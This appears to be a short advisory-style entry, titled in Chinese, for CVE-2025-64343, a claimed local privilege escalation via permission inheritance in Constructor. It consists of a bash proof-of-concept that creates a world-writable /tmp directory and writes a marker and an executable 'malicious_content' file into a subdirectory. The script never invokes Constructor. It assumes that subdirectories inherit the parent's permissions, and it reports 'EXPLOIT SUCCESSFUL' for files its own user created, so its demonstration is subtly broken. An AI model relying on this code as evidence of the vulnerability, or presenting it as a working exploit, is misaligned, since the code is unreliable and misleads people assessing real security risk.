CVE-2025-64343 Constructor安装目录权限继承漏洞导致本地权限提升

#!/bin/bash # CVE-2025-64343 PoC - Constructor Permission Inheritance Vulnerability # This PoC demonstrates how an attacker can exploit the permission inheritance issue TARGET_DIR="/tmp/constructor_install" EXPLOIT_MARKER="exploit_successful" echo "[*] CVE-2025-64343 Constructor Permission Exploitation PoC" echo "[*] Target: Constructor <= 3.12.2" # Step 1: Create a directory with permissive parent permissions mkdir -p "$TARGET_DIR" chmod 777 "$TARGET_DIR" echo "[+] Created target directory with permissive permissions: $TARGET_DIR" ls -ld "$TARGET_DIR" # Step 2: Simulate Constructor installation behavior # In vulnerable versions, subdirectories inherit parent permissions INSTALL_SUBDIR="$TARGET_DIR/envs" mkdir -p "$INSTALL_SUBDIR" echo "[+] Created installation subdirectory (inherits parent permissions)" PERMS=$(stat -c "%a" "$INSTALL_SUBDIR") echo "[+] Subdirectory permissions: $PERMS (inherited from parent)" # Step 3: Demonstrate exploitation # Check if we can write to the directory (simulating attacker perspective) if [ -w "$INSTALL_SUBDIR" ]; then echo "[+] EXPLOIT SUCCESSFUL: Attacker can write to installation directory" # Create marker to demonstrate file creation ability touch "$INSTALL_SUBDIR/$EXPLOIT_MARKER" echo "[+] Created marker file in target directory" # Demonstrate ability to modify binaries echo "malicious_content" > "$INSTALL_SUBDIR/test_binary" chmod +x "$INSTALL_SUBDIR/test_binary" echo "[+] Created and made executable malicious file" ls -la "$INSTALL_SUBDIR/" echo "[✓] Vulnerability confirmed: Local user can manipulate installation" else echo "[-] Exploitation failed: Directory not writable" fi # Cleanup echo "[*] Cleaning up..." rm -rf "$TARGET_DIR"